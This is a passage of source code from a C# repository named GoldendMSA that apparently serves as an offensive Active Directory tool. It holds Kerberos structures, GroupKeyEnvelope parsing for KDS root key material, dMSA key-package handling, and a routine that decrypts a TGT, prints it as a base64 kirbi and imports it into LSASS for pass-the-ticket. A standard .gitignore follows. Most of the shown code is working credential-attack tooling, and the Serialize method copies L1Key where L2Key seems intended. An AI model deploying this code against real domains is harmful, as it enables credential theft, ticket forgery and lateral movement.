keyString, bool ptt, bool verbose = false, AS_REQ asReq = null, string dcIP = "") 77 | { 78 | LUID luid = new LUID(); 79 | AS_REP rep = new AS_REP(responseAsn); 80 | 81 | byte[] key; 82 | 83 | key = Helpers.StringToByteArray(keyString); 84 | 85 | 86 | if (rep.enc_part.etype != (int)etype) 87 | { 88 | Console.WriteLine($"[!] Warning: Supplied encyption key type is {etype} but AS-REP contains data encrypted with {(Interop.KERB_ETYPE)rep.enc_part.etype}"); 89 | } 90 | 91 | 92 | byte[] outBytes; 93 | 94 | if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) 95 | { 96 | outBytes = Cryptography.CryptoActions.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); 97 | } 98 | else 99 | { 100 | throw new Exception("[X] Encryption type \"" + etype + "\" not currently supported"); 101 | } 102 | 103 | AsnElt ae = null; 104 | bool decodeSuccess = false; 105 | try 106 | { 107 | ae = AsnElt.Decode(outBytes, false); 108 | if (ae.TagValue == 25) 109 | { 110 | decodeSuccess = true; 111 | } 112 | } 113 | catch (Exception ex) 114 | { 115 | Console.WriteLine("[X] Error parsing encrypted part of AS-REP: " + ex.Message); 116 | } 117 | 118 | if (decodeSuccess == false) 119 | { 120 | Console.WriteLine($"[X] Failed to decrypt TGT using supplied password/hash. If this TGT was requested with no preauth then the password supplied may be incorrect or the data was encrypted with a different type of encryption than expected"); 121 | return null; 122 | } 123 | 124 | EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); 125 | 126 | KRB_CRED cred = new KRB_CRED(); 127 | 128 | cred.tickets.Add(rep.ticket); 129 | 130 | 131 | KrbCredInfo info = new KrbCredInfo(); 132 | 133 | info.key.keytype = encRepPart.key.keytype; 134 | info.key.keyvalue = encRepPart.key.keyvalue; 135 | 136 | info.prealm = encRepPart.realm; 137 | 138 | info.pname.name_type = rep.cname.name_type; 139 | info.pname.name_string = rep.cname.name_string; 140 | 141 | info.flags = encRepPart.flags; 142 | 143 | 144 | info.starttime = encRepPart.starttime; 145 | 146 | info.endtime = encRepPart.endtime; 147 | 148 | info.renew_till = encRepPart.renew_till; 149 | 150 | info.srealm = encRepPart.realm; 151 | 152 | info.sname.name_type = encRepPart.sname.name_type; 153 | info.sname.name_string = encRepPart.sname.name_string; 154 | 155 | cred.enc_part.ticket_info.Add(info); 156 | 157 | byte[] kirbiBytes = cred.Encode().Encode(); 158 | string kirbiString = Convert.ToBase64String(kirbiBytes); 159 | 160 | Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); 161 | Console.WriteLine(" {0}", kirbiString); 162 | Console.WriteLine(""); 163 | 164 | if (ptt || ((ulong)luid != 0)) 165 | { 166 | // pass-the-ticket -> import into LSASS 167 | LSA.ImportTicket(kirbiBytes, luid); 168 | } 169 | return kirbiBytes; 170 | } 171 | 172 | } 173 | } 174 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/PA_DATA.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | using System.Security.Cryptography.X509Certificates; 4 | using System.Security.Cryptography; 5 | 6 | 7 | namespace GoldendMSA { 8 | public class PA_DATA 9 | { 10 | public static readonly Oid DiffieHellman = new Oid("1.2.840.10046.2.1"); 11 | 12 | //PA-DATA ::= SEQUENCE { 13 | // -- NOTE: first tag is [1], not [0] 14 | // padata-type [1] Int32, 15 | // padata-value [2] OCTET STRING -- might be encoded AP-REQ 16 | //} 17 | 18 | public PA_DATA(bool pac = true) 19 | { 20 | // defaults for creation 21 | type = Interop.PADATA_TYPE.PA_PAC_REQUEST; 22 | 23 | value = new KERB_PA_PAC_REQUEST(pac); 24 | } 25 | 26 | public PA_DATA(string keyString, Interop.KERB_ETYPE etype) 27 | { 28 | // include pac, supply enc timestamp 29 | 30 | type = Interop.PADATA_TYPE.ENC_TIMESTAMP; 31 | 32 | PA_ENC_TS_ENC temp = new PA_ENC_TS_ENC(); 33 | 34 | byte[] rawBytes = temp.Encode().Encode(); 35 | byte[] key = Helpers.StringToByteArray(keyString); 36 | 37 | // KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP == 1 38 | 39 | byte[] encBytes = Cryptography.CryptoActions.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP, key, rawBytes); 40 | 41 | value = new EncryptedData((int)etype, encBytes); 42 | } 43 | 44 | 45 | public PA_DATA(AsnElt body) 46 | { 47 | //if (body.Sub.Length != 2) 48 | //{ 49 | // throw new System.Exception("PA-DATA should contain two elements"); 50 | //} 51 | 52 | //Console.WriteLine("tag: {0}", body.Sub[0].Sub[0].TagValue); 53 | try 54 | { 55 | type = (Interop.PADATA_TYPE)body.Sub[0].Sub[0].GetInteger(); 56 | byte[] valueBytes = body.Sub[1].Sub[0].GetOctetString(); 57 | } 58 | catch 59 | { 60 | type = (Interop.PADATA_TYPE)body.Sub[0].Sub[0].Sub[0].GetInteger(); 61 | byte[] valueBytes = body.Sub[0].Sub[1].Sub[0].GetOctetString(); 62 | } 63 | 64 | switch (type) { 65 | case Interop.PADATA_TYPE.PA_PAC_REQUEST: 66 | value = new KERB_PA_PAC_REQUEST(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue())); 67 | break; 68 | 69 | case Interop.PADATA_TYPE.PK_AS_REP: 70 | value = new PA_PK_AS_REP(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue())); 71 | break; 72 | case Interop.PADATA_TYPE.PA_S4U_X509_USER: 73 | break; 74 | case Interop.PADATA_TYPE.ETYPE_INFO2: 75 | value = new ETYPE_INFO2_ENTRY(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue())); 76 | break; 77 | case Interop.PADATA_TYPE.SUPERSEDED_BY_USER: 78 | value = new PA_SUPERSEDED_BY_USER(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue())); 79 | break; 80 | case Interop.PADATA_TYPE.DMSA_KEY_PACKAGE: 81 | value = new PA_DMSA_KEY_PACKAGE(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue())); 82 | break; 83 | } 84 | } 85 | 86 | public AsnElt Encode() 87 | { 88 | // padata-type [1] Int32 89 | AsnElt typeElt = AsnElt.MakeInteger((long)type); 90 | AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { typeElt }); 91 | nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, nameTypeSeq); 92 | 93 | AsnElt paDataElt; 94 | if (type == Interop.PADATA_TYPE.PA_PAC_REQUEST) 95 | { 96 | // used for AS-REQs 97 | 98 | // padata-value [2] OCTET STRING -- might be encoded AP-REQ 99 | paDataElt = ((KERB_PA_PAC_REQUEST)value).Encode(); 100 | paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, paDataElt); 101 | 102 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); 103 | return seq; 104 | } 105 | else if (type == Interop.PADATA_TYPE.ENC_TIMESTAMP) 106 | { 107 | // used for AS-REQs 108 | AsnElt blob = AsnElt.MakeBlob(((EncryptedData)value).Encode().Encode()); 109 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); 110 | blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); 111 | 112 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, blobSeq }); 113 | return seq; 114 | } 115 | else if (type == Interop.PADATA_TYPE.PA_PAC_OPTIONS) 116 | { 117 | AsnElt blob = AsnElt.MakeBlob(((PA_PAC_OPTIONS)value).Encode().Encode()); 118 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); 119 | 120 | paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); 121 | 122 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); 123 | return seq; 124 | } 125 | else if(type == Interop.PADATA_TYPE.PK_AS_REQ) { 126 | 127 | AsnElt blob = AsnElt.MakeBlob(((PA_PK_AS_REQ)value).Encode().Encode()); 128 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); 129 | 130 | paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); 131 | 132 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); 133 | return seq; 134 | } 135 | else if (type == Interop.PADATA_TYPE.KEY_LIST_REQ) 136 | { 137 | 138 | AsnElt blob = AsnElt.MakeBlob(((PA_KEY_LIST_REQ)value).Encode().Encode()); 139 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); 140 | 141 | paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); 142 | 143 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); 144 | return seq; 145 | } 146 | else 147 | { 148 | return null; 149 | } 150 | } 151 | 152 | public Interop.PADATA_TYPE type { get; set; } 153 | 154 | public Object value { get; set; } 155 | } 156 | } -------------------------------------------------------------------------------- /GoldendMSA/GroupKeyEnvelope.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace GoldendMSA 8 | { 9 | public class GroupKeyEnvelope 10 | { 11 | public int Version { get; set; } 12 | public int Reserved { get; set; } 13 | public int isPublicKey { get; set; } 14 | public int L0Index { get; set; } 15 | public int L1Index { get; set; } 16 | public int L2Index { get; set; } 17 | public Guid RootKeyIdentifier { get; set; } 18 | public int cbKDFAlgorithm { get; set; } 19 | public int cbKDFParameters { get; set; } 20 | public int cbSecretAgreementAlgorithm { get; set; } 21 | public int cbSecretAgreementParameters { get; set; } 22 | public int PrivateKeyLength { get; set; } 23 | public int PublicKeyLength { get; set; } 24 | public int cbL1Key { get; set; } 25 | public int cbL2Key { get; set; } 26 | public int cbDomainName { get; set; } 27 | public int cbForestName { get; set; } 28 | public string KDFAlgorithm { get; set; } 29 | public byte[] KDFParameters { get; set; } 30 | public string SecretAgreementAlgorithm { get; set; } 31 | public byte[] SecretAgreementParameters { get; set; } 32 | public string DomainName { get; set; } 33 | public string ForestName { get; set; } 34 | public byte[] L1Key { get; set; } // 64 in size 35 | public byte[] L2Key { get; set; } // 64 in size 36 | 37 | 38 | public GroupKeyEnvelope() 39 | { 40 | } 41 | 42 | public GroupKeyEnvelope(byte[] gkeBytes) 43 | { 44 | Version = BitConverter.ToInt32(gkeBytes, 0); 45 | Reserved = BitConverter.ToInt32(gkeBytes, 4); 46 | isPublicKey = BitConverter.ToInt32(gkeBytes, 8); 47 | L0Index = BitConverter.ToInt32(gkeBytes, 12); 48 | L1Index = BitConverter.ToInt32(gkeBytes, 16); 49 | L2Index = BitConverter.ToInt32(gkeBytes, 20); 50 | byte[] temp = new byte[16]; 51 | Array.Copy(gkeBytes, 24, temp, 0, 16); 52 | RootKeyIdentifier = new Guid(temp); 53 | cbKDFAlgorithm = BitConverter.ToInt32(gkeBytes, 40); 54 | cbKDFParameters = BitConverter.ToInt32(gkeBytes, 44); 55 | cbSecretAgreementAlgorithm = BitConverter.ToInt32(gkeBytes, 48); 56 | cbSecretAgreementParameters = BitConverter.ToInt32(gkeBytes, 52); 57 | PrivateKeyLength = BitConverter.ToInt32(gkeBytes, 56); 58 | PublicKeyLength = BitConverter.ToInt32(gkeBytes, 60); 59 | cbL1Key = BitConverter.ToInt32(gkeBytes, 64); 60 | cbL2Key = BitConverter.ToInt32(gkeBytes, 68); 61 | cbDomainName = BitConverter.ToInt32(gkeBytes, 72); 62 | cbForestName = BitConverter.ToInt32(gkeBytes, 76); 63 | 64 | int curIndex = 80; 65 | KDFAlgorithm = Encoding.Unicode.GetString(gkeBytes, curIndex, cbKDFAlgorithm); 66 | 67 | curIndex += cbKDFAlgorithm; 68 | Array.Copy(gkeBytes, curIndex, KDFParameters, 0, cbKDFParameters); 69 | 70 | curIndex += cbKDFParameters; 71 | SecretAgreementAlgorithm = Encoding.Unicode.GetString(gkeBytes, curIndex, cbSecretAgreementAlgorithm); 72 | 73 | curIndex += cbSecretAgreementAlgorithm; 74 | Array.Copy(gkeBytes, curIndex, SecretAgreementParameters, 0, cbSecretAgreementParameters); 75 | 76 | curIndex += cbSecretAgreementParameters; 77 | DomainName = Encoding.Unicode.GetString(gkeBytes, curIndex, cbDomainName); 78 | 79 | curIndex += cbDomainName; 80 | ForestName = Encoding.Unicode.GetString(gkeBytes, curIndex, cbForestName); 81 | 82 | if (cbL1Key > 0) 83 | Array.Copy(gkeBytes, curIndex + cbForestName, L1Key, 0, cbL1Key); 84 | else 85 | L1Key = null; 86 | 87 | if (cbL2Key > 0) 88 | Array.Copy(gkeBytes, curIndex + cbForestName + cbL1Key, L2Key, 0, cbL2Key); 89 | else 90 | L2Key = null; 91 | } 92 | 93 | 94 | public byte[] Serialize() 95 | { 96 | int gkeSize = 80 + cbKDFAlgorithm + cbKDFParameters + cbSecretAgreementAlgorithm + cbSecretAgreementParameters + cbDomainName + cbForestName + cbL1Key + cbL2Key; 97 | byte[] gkeBytes = new byte[gkeSize]; 98 | 99 | BitConverter.GetBytes(Version).CopyTo(gkeBytes, 0); 100 | BitConverter.GetBytes(Reserved).CopyTo(gkeBytes, 4); 101 | BitConverter.GetBytes(isPublicKey).CopyTo(gkeBytes, 8); 102 | BitConverter.GetBytes(L0Index).CopyTo(gkeBytes, 12); 103 | BitConverter.GetBytes(L1Index).CopyTo(gkeBytes, 16); 104 | BitConverter.GetBytes(L2Index).CopyTo(gkeBytes, 20); 105 | RootKeyIdentifier.ToByteArray().CopyTo(gkeBytes, 24); 106 | BitConverter.GetBytes(cbKDFAlgorithm).CopyTo(gkeBytes, 40); 107 | BitConverter.GetBytes(cbKDFParameters).CopyTo(gkeBytes, 44); 108 | BitConverter.GetBytes(cbSecretAgreementAlgorithm).CopyTo(gkeBytes, 48); 109 | BitConverter.GetBytes(cbSecretAgreementParameters).CopyTo(gkeBytes, 52); 110 | BitConverter.GetBytes(PrivateKeyLength).CopyTo(gkeBytes, 56); 111 | BitConverter.GetBytes(PublicKeyLength).CopyTo(gkeBytes, 60); 112 | BitConverter.GetBytes(cbL1Key).CopyTo(gkeBytes, 64); 113 | BitConverter.GetBytes(cbL2Key).CopyTo(gkeBytes, 68); 114 | BitConverter.GetBytes(cbDomainName).CopyTo(gkeBytes, 72); 115 | BitConverter.GetBytes(cbForestName).CopyTo(gkeBytes, 76); 116 | Encoding.Unicode.GetBytes(KDFAlgorithm).CopyTo(gkeBytes, 80); 117 | 118 | int curIndex = 80 + cbKDFAlgorithm; 119 | KDFParameters.CopyTo(gkeBytes, curIndex); 120 | 121 | curIndex += cbKDFParameters; 122 | Encoding.Unicode.GetBytes(SecretAgreementAlgorithm).CopyTo(gkeBytes, curIndex); 123 | 124 | curIndex += cbSecretAgreementAlgorithm; 125 | SecretAgreementParameters.CopyTo(gkeBytes, curIndex); 126 | 127 | curIndex += cbSecretAgreementParameters; 128 | Encoding.Unicode.GetBytes(DomainName).CopyTo(gkeBytes, curIndex); 129 | 130 | curIndex += cbDomainName; 131 | Encoding.Unicode.GetBytes(ForestName).CopyTo(gkeBytes, curIndex); 132 | 133 | curIndex += cbForestName; 134 | L1Key.CopyTo(gkeBytes, curIndex); 135 | 136 | curIndex += cbL1Key; 137 | L1Key.CopyTo(gkeBytes, curIndex); 138 | 139 | return gkeBytes; 140 | } 141 | 142 | public string ToBase64String() 143 | { 144 | return Convert.ToBase64String(this.Serialize()); 145 | } 146 | } 147 | } -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/KrbCredInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | using System.Text; 4 | using System.Collections.Generic; 5 | 6 | namespace GoldendMSA 7 | { 8 | public class KrbCredInfo 9 | { 10 | //KrbCredInfo ::= SEQUENCE { 11 | // key [0] EncryptionKey, 12 | // prealm [1] Realm OPTIONAL, 13 | // pname [2] PrincipalName OPTIONAL, 14 | // flags [3] TicketFlags OPTIONAL, 15 | // authtime [4] KerberosTime OPTIONAL, 16 | // starttime [5] KerberosTime OPTIONAL, 17 | // endtime [6] KerberosTime OPTIONAL, 18 | // renew-till [7] KerberosTime OPTIONAL, 19 | // srealm [8] Realm OPTIONAL, 20 | // sname [9] PrincipalName OPTIONAL, 21 | // caddr [10] HostAddresses OPTIONAL 22 | //} 23 | 24 | public KrbCredInfo() 25 | { 26 | key = new EncryptionKey(); 27 | 28 | prealm = ""; 29 | 30 | pname = new PrincipalName(); 31 | 32 | flags = 0; 33 | 34 | srealm = ""; 35 | 36 | sname = new PrincipalName(); 37 | } 38 | 39 | public AsnElt Encode() 40 | { 41 | List asnElements = new List(); 42 | 43 | // key [0] EncryptionKey 44 | AsnElt keyAsn = key.Encode(); 45 | keyAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, keyAsn); 46 | asnElements.Add(keyAsn); 47 | 48 | 49 | // prealm [1] Realm OPTIONAL 50 | if (!String.IsNullOrEmpty(prealm)) 51 | { 52 | AsnElt prealmAsn = AsnElt.MakeString(AsnElt.UTF8String, prealm); 53 | prealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, prealmAsn); 54 | AsnElt prealmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, prealmAsn); 55 | prealmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, prealmAsnSeq); 56 | 57 | asnElements.Add(prealmAsnSeq); 58 | } 59 | 60 | 61 | // pname [2] PrincipalName OPTIONAL 62 | if ((pname.name_string != null) && (pname.name_string.Count != 0) && (!String.IsNullOrEmpty(pname.name_string[0]))) 63 | { 64 | AsnElt pnameAsn = pname.Encode(); 65 | pnameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, pnameAsn); 66 | asnElements.Add(pnameAsn); 67 | } 68 | 69 | 70 | // pname [2] PrincipalName OPTIONAL 71 | byte[] flagBytes = BitConverter.GetBytes((UInt32)flags); 72 | if (BitConverter.IsLittleEndian) 73 | { 74 | Array.Reverse(flagBytes); 75 | } 76 | AsnElt flagBytesAsn = AsnElt.MakeBitString(flagBytes); 77 | AsnElt flagBytesSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { flagBytesAsn }); 78 | flagBytesSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, flagBytesSeq); 79 | asnElements.Add(flagBytesSeq); 80 | 81 | 82 | // authtime [4] KerberosTime OPTIONAL 83 | if ((authtime != null) && (authtime != DateTime.MinValue)) 84 | { 85 | AsnElt authtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, authtime.ToString("yyyyMMddHHmmssZ")); 86 | AsnElt authtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authtimeAsn }); 87 | authtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, authtimeSeq); 88 | asnElements.Add(authtimeSeq); 89 | } 90 | 91 | 92 | // starttime [5] KerberosTime OPTIONAL 93 | if ((starttime != null) && (starttime != DateTime.MinValue)) 94 | { 95 | AsnElt starttimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, starttime.ToString("yyyyMMddHHmmssZ")); 96 | AsnElt starttimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { starttimeAsn }); 97 | starttimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, starttimeSeq); 98 | asnElements.Add(starttimeSeq); 99 | } 100 | 101 | 102 | // endtime [6] KerberosTime OPTIONAL 103 | if ((endtime != null) && (endtime != DateTime.MinValue)) 104 | { 105 | AsnElt endtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, endtime.ToString("yyyyMMddHHmmssZ")); 106 | AsnElt endtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { endtimeAsn }); 107 | endtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, endtimeSeq); 108 | asnElements.Add(endtimeSeq); 109 | } 110 | 111 | 112 | // renew-till [7] KerberosTime OPTIONAL 113 | if ((renew_till != null) && (renew_till != DateTime.MinValue)) 114 | { 115 | AsnElt renew_tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, renew_till.ToString("yyyyMMddHHmmssZ")); 116 | AsnElt renew_tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { renew_tillAsn }); 117 | renew_tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, renew_tillSeq); 118 | asnElements.Add(renew_tillSeq); 119 | } 120 | 121 | 122 | // srealm [8] Realm OPTIONAL 123 | if (!String.IsNullOrEmpty(srealm)) 124 | { 125 | AsnElt srealmAsn = AsnElt.MakeString(AsnElt.UTF8String, srealm); 126 | srealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, srealmAsn); 127 | AsnElt srealmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, srealmAsn); 128 | srealmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, srealmAsnSeq); 129 | asnElements.Add(srealmAsnSeq); 130 | } 131 | 132 | 133 | // sname [9] PrincipalName OPTIONAL 134 | if ((sname.name_string != null) && (sname.name_string.Count != 0) && (!String.IsNullOrEmpty(sname.name_string[0]))) 135 | { 136 | AsnElt pnameAsn = sname.Encode(); 137 | pnameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 9, pnameAsn); 138 | asnElements.Add(pnameAsn); 139 | } 140 | 141 | 142 | // caddr [10] HostAddresses OPTIONAL 143 | 144 | 145 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, asnElements.ToArray()); 146 | 147 | return seq; 148 | } 149 | 150 | public EncryptionKey key { get; set; } 151 | 152 | public string prealm { get; set; } 153 | 154 | public PrincipalName pname { get; set; } 155 | 156 | public Interop.TicketFlags flags { get; set; } 157 | 158 | public DateTime authtime { get; set; } 159 | 160 | public DateTime starttime { get; set; } 161 | 162 | public DateTime endtime { get; set; } 163 | 164 | public DateTime renew_till { get; set; } 165 | 166 | public string srealm { get; set; } 167 | 168 | public PrincipalName sname { get; set; } 169 | 170 | // caddr (optional) - skipping for now 171 | } 172 | } 173 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Aa][Rr][Mm]/ 27 | [Aa][Rr][Mm]64/ 28 | bld/ 29 | [Bb]in/ 30 | [Oo]bj/ 31 | [Ll]og/ 32 | [Ll]ogs/ 33 | 34 | # Visual Studio 2015/2017 cache/options directory 35 | .vs/ 36 | # Uncomment if you have tasks that create the project's static files in wwwroot 37 | #wwwroot/ 38 | 39 | # Visual Studio 2017 auto generated files 40 | Generated\ Files/ 41 | 42 | # MSTest test Results 43 | [Tt]est[Rr]esult*/ 44 | [Bb]uild[Ll]og.* 45 | 46 | # NUnit 47 | *.VisualState.xml 48 | TestResult.xml 49 | nunit-*.xml 50 | 51 | # Build Results of an ATL Project 52 | [Dd]ebugPS/ 53 | [Rr]eleasePS/ 54 | dlldata.c 55 | 56 | # Benchmark Results 57 | BenchmarkDotNet.Artifacts/ 58 | 59 | # .NET Core 60 | project.lock.json 61 | project.fragment.lock.json 62 | artifacts/ 63 | 64 | # StyleCop 65 | StyleCopReport.xml 66 | 67 | # Files built by Visual Studio 68 | *_i.c 69 | *_p.c 70 | *_h.h 71 | *.ilk 72 | *.meta 73 | *.obj 74 | *.iobj 75 | *.pch 76 | *.pdb 77 | *.ipdb 78 | *.pgc 79 | *.pgd 80 | *.rsp 81 | *.sbr 82 | *.tlb 83 | *.tli 84 | *.tlh 85 | *.tmp 86 | *.tmp_proj 87 | *_wpftmp.csproj 88 | *.log 89 | *.vspscc 90 | *.vssscc 91 | .builds 92 | *.pidb 93 | *.svclog 94 | *.scc 95 | 96 | # Chutzpah Test files 97 | _Chutzpah* 98 | 99 | # Visual C++ cache files 100 | ipch/ 101 | *.aps 102 | *.ncb 103 | *.opendb 104 | *.opensdf 105 | *.sdf 106 | *.cachefile 107 | *.VC.db 108 | *.VC.VC.opendb 109 | 110 | # Visual Studio profiler 111 | *.psess 112 | *.vsp 113 | *.vspx 114 | *.sap 115 | 116 | # Visual Studio Trace Files 117 | *.e2e 118 | 119 | # TFS 2012 Local Workspace 120 | $tf/ 121 | 122 | # Guidance Automation Toolkit 123 | *.gpState 124 | 125 | # ReSharper is a .NET coding add-in 126 | _ReSharper*/ 127 | *.[Rr]e[Ss]harper 128 | *.DotSettings.user 129 | 130 | # TeamCity is a build add-in 131 | _TeamCity* 132 | 133 | # DotCover is a Code Coverage Tool 134 | *.dotCover 135 | 136 | # AxoCover is a Code Coverage Tool 137 | .axoCover/* 138 | !.axoCover/settings.json 139 | 140 | # Visual Studio code coverage results 141 | *.coverage 142 | *.coveragexml 143 | 144 | # NCrunch 145 | _NCrunch_* 146 | .*crunch*.local.xml 147 | nCrunchTemp_* 148 | 149 | # MightyMoose 150 | *.mm.* 151 | AutoTest.Net/ 152 | 153 | # Web workbench (sass) 154 | .sass-cache/ 155 | 156 | # Installshield output folder 157 | [Ee]xpress/ 158 | 159 | # DocProject is a documentation generator add-in 160 | DocProject/buildhelp/ 161 | DocProject/Help/*.HxT 162 | DocProject/Help/*.HxC 163 | DocProject/Help/*.hhc 164 | DocProject/Help/*.hhk 165 | DocProject/Help/*.hhp 166 | DocProject/Help/Html2 167 | DocProject/Help/html 168 | 169 | # Click-Once directory 170 | publish/ 171 | 172 | # Publish Web Output 173 | *.[Pp]ublish.xml 174 | *.azurePubxml 175 | # Note: Comment the next line if you want to checkin your web deploy settings, 176 | # but database connection strings (with potential passwords) will be unencrypted 177 | *.pubxml 178 | *.publishproj 179 | 180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 181 | # checkin your Azure Web App publish settings, but sensitive information contained 182 | # in these scripts will be unencrypted 183 | PublishScripts/ 184 | 185 | # NuGet Packages 186 | *.nupkg 187 | # NuGet Symbol Packages 188 | *.snupkg 189 | # The packages folder can be ignored because of Package Restore 190 | **/[Pp]ackages/* 191 | # except build/, which is used as an MSBuild target. 192 | !**/[Pp]ackages/build/ 193 | # Uncomment if necessary however generally it will be regenerated when needed 194 | #!**/[Pp]ackages/repositories.config 195 | # NuGet v3's project.json files produces more ignorable files 196 | *.nuget.props 197 | *.nuget.targets 198 | 199 | # Microsoft Azure Build Output 200 | csx/ 201 | *.build.csdef 202 | 203 | # Microsoft Azure Emulator 204 | ecf/ 205 | rcf/ 206 | 207 | # Windows Store app package directories and files 208 | AppPackages/ 209 | BundleArtifacts/ 210 | Package.StoreAssociation.xml 211 | _pkginfo.txt 212 | *.appx 213 | *.appxbundle 214 | *.appxupload 215 | 216 | # Visual Studio cache files 217 | # files ending in .cache can be ignored 218 | *.[Cc]ache 219 | # but keep track of directories ending in .cache 220 | !?*.[Cc]ache/ 221 | 222 | # Others 223 | ClientBin/ 224 | ~$* 225 | *~ 226 | *.dbmdl 227 | *.dbproj.schemaview 228 | *.jfm 229 | *.pfx 230 | *.publishsettings 231 | orleans.codegen.cs 232 | 233 | # Including strong name files can present a security risk 234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 235 | #*.snk 236 | 237 | # Since there are multiple workflows, uncomment next line to ignore bower_components 238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 239 | #bower_components/ 240 | 241 | # RIA/Silverlight projects 242 | Generated_Code/ 243 | 244 | # Backup & report files from converting an old project file 245 | # to a newer Visual Studio version. Backup files are not needed, 246 | # because we have git ;-) 247 | _UpgradeReport_Files/ 248 | Backup*/ 249 | UpgradeLog*.XML 250 | UpgradeLog*.htm 251 | ServiceFabricBackup/ 252 | *.rptproj.bak 253 | 254 | # SQL Server files 255 | *.mdf 256 | *.ldf 257 | *.ndf 258 | 259 | # Business Intelligence projects 260 | *.rdl.data 261 | *.bim.layout 262 | *.bim_*.settings 263 | *.rptproj.rsuser 264 | *- [Bb]ackup.rdl 265 | *- [Bb]ackup ([0-9]).rdl 266 | *- [Bb]ackup ([0-9][0-9]).rdl 267 | 268 | # Microsoft Fakes 269 | FakesAssemblies/ 270 | 271 | # GhostDoc plugin setting file 272 | *.GhostDoc.xml 273 | 274 | # Node.js Tools for Visual Studio 275 | .ntvs_analysis.dat 276 | node_modules/ 277 | 278 | # Visual Studio 6 build log 279 | *.plg 280 | 281 | # Visual Studio 6 workspace options file 282 | *.opt 283 | 284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 285 | *.vbw 286 | 287 | # Visual Studio LightSwitch build output 288 | **/*.HTMLClient/GeneratedArtifacts 289 | **/*.DesktopClient/GeneratedArtifacts 290 | **/*.DesktopClient/ModelManifest.xml 291 | **/*.Server/GeneratedArtifacts 292 | 